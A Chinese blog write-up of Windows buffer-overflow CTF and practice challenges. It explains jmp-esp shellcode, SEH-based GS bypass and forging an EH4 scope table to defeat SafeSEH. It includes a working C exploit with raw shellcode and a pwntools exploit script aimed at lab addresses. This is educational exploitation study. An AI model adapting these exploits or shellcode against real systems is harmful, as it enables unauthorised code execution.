Windows的一些溢出題目

 

題目的來源是

微軟杯Exploit Me安全調試技術挑戰賽 賽題

題目下載鏈接

https://bbs.pediy.com/thread-133191.htm

 

辭舊迎新exploit me挑戰賽

題目下載鏈接

https://bbs.pediy.com/thread-57317.htm

 

其實題目都沒有什麼好說的==

都是一些很老的題目===  純粹的是當作萌新練手用=

先看一下  辭舊迎新的 A題=

打開發現是 關於 socket  的通信內容

然後 再往下看發現了一個危險函數

首先大家注意我們接受可以是512字節的空間  那麼 參數傳進去的時候發現了

發現了直接的copy 竟然也沒有判斷一下 大小空間的問題==

然後可以直接 jmp esp  shellcode 一把梭 

至於jmp esp 我是在 kernel32.dll 裏面找到的=

下面的 exp

#include "stdafx.h"
#include "stdio.h"
#define WIN32_LEAN_AND_MEAN   
#include "windows.h"
#include "winsock2.h"
#include <cstdlib>
#pragma comment (lib,"ws2_32.lib")

unsigned char shellcode[] =
"\x90\x90\x90\x90" 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x61\x20\x20\x20\x68\x70\x69\x78\x69\x68\x79\x20\x70\x69\x68\x65\x64\x20\x62\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00";
int _tmain(int argc, _TCHAR* argv[])
{
	/*
	for (int i = 0; i < strlen((char *)shellcode); i++)
	{
		printf("%x ",  shellcode[i]);
	}*/
	WSADATA ws;
	sockaddr_in serveraddr;
	char buffer[500];
	SOCKET  m_SockClient = INVALID_SOCKET;
	WSAStartup(MAKEWORD(2, 2), &ws);
	serveraddr.sin_family=AF_INET;
	serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.159.139");
	serveraddr.sin_port = htons(7777);
	m_SockClient=socket(AF_INET, SOCK_STREAM, 0);
	if (connect(m_SockClient, (sockaddr*)&serveraddr, sizeof(serveraddr)) !=0)
	{
		printf("[*]連接失敗!!\n");
	}
	else
	{
		memset(buffer, 41, 500);
		memcpy(buffer + 200, "\x13\x44\x87\x7c",4);
		memcpy(buffer + 204, shellcode, 189);
		send(m_SockClient, buffer, strlen(buffer) + sizeof(char), 0);
		closesocket(m_SockClient);
		WSACleanup();
		printf("[*]發送成功!!\n");
		
	}


	
	system("pause");
	return 0;
}

用od 調試一下 發現了

 

成功執行到了shellcode  然後彈出了窗口

然後接下來的題目有空就回去繼續更新。。。

微軟杯第四題

打開題目

 

大致可以看到這麼多的東西

可以看到有一個危險函數已經標註起來了

然後可以看出是有一個異常處理

 

這裏可以根據異常處理 來繞過GS

這裏可以根據0days  的那本書  來找到答案

那麼我們來看一下 我們的情況

我們先去找一下我們說所的那個 call [ebp+n]

這裏的插件已經下載好了 我們呢來看一下

這裏我們找到了 call [ebp+0x30]

然後我們這裏到達了異常點

然後這裏已經用了shellcode  然後我們跟進去看一下 

這裏的 棧看一下

 

那麼問題來了 這裏的 12ff44 是在哪 

我們看一下

哦吼 !!!!!

 那麼根據大佬們的exp  這個題目的思路就很清晰了

首先把se 的hander 給修改成 我們的 跳板 然後把上面的值搞成一個短跳轉  

然後再跳到長跳轉的地方  然後去執行shellcode

然後   1.txt 的內容   詳情可以看

看雪的大佬文章

https://bbs.pediy.com/thread-134903.htm

很棒=

HITB GSEC BABYSTACK

 

這就是一道CTF的題目了 ==

參考了EX大佬的博客寫了這篇文章 ==

其中還有EX大佬寫的一個 東西 可以用來pwntools交互的

https://github.com/Ex-Origin/win_server

裏面用到的東西 就是  CreatePipe 然後利用的是 進程的管道通信   然後開啓了三個線程 分別就是 讀寫 結束

對此感興趣的同學 可以去看看ex 大佬寫的博客  還有代碼

 

然後我們先看這個題目

然後 發現是有異常處理的

溢出點就在 v9這裏

但是我們看彙編會發現  有gs保護 這個程序 還有safeseh     有點難頂

不過給了後門函數

這裏可以看到 這樣的代碼

.text:0040137C                 mov     ecx, [ebp+var_CC]
.text:00401382                 add     ecx, [ebp+var_D0]
.text:00401388                 cmp     ecx, 3

 

個人猜測 應該就是   這個條件完全不成立 導致了 ida 直接給優化掉了 ====

不過這裏確實是一個後門函數

 

可以看到一開始就註冊了異常函數   這個異常函數 棧溢出就可以直接觸發

ok  後門函數有了   棧溢出的地方也找到了   繞過 GS 出發 SHE的方法也有了   接下來就是怎麼硬剛這個safeshe了

處理SHE的vcruntime140.dll 裏面拖入ida裏面可以看出很多東西

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 異或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等於 上圖 ebp - 10h 位置, framePointer 等於上圖 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 驗證 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 調用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 調用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

 

會發現了兩個好玩的地方   就是  調用 FilterFunc 調用 HandlerFunc 這兩個函數 

其實這裏我們有了一個方法  就是 僞造   Scope Table  然後 僞造這兩個函數 就ok

注意一點就是  注意GS的恢復 上面還有GS的認證

僞造表 成功

 

 

成功拿到權限  

                                              Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

 exp 就直接用EX師傅的吧===  思路get到了

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('10.0.0.37', 8080)

def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))


pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 733,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
pause()
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

 

然後suctf 有一道和上面類似的題目  也叫babystack ==

其實方法和上面的基本一樣 =

 

依然有後門函數 還有 任意讀取的功能

 

裏面可以看到一點

可以通過div 然後可以 有異常 進入    任意讀取的那個地方

 然後 所有的思路 就和我們上面的一樣了

 

 

 

 

 

 

 

 

參考資料

http://blog.eonew.cn/archives/1182

https://bbs.pediy.com/thread-134903.htm

0day安全:軟件漏洞分析技術

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章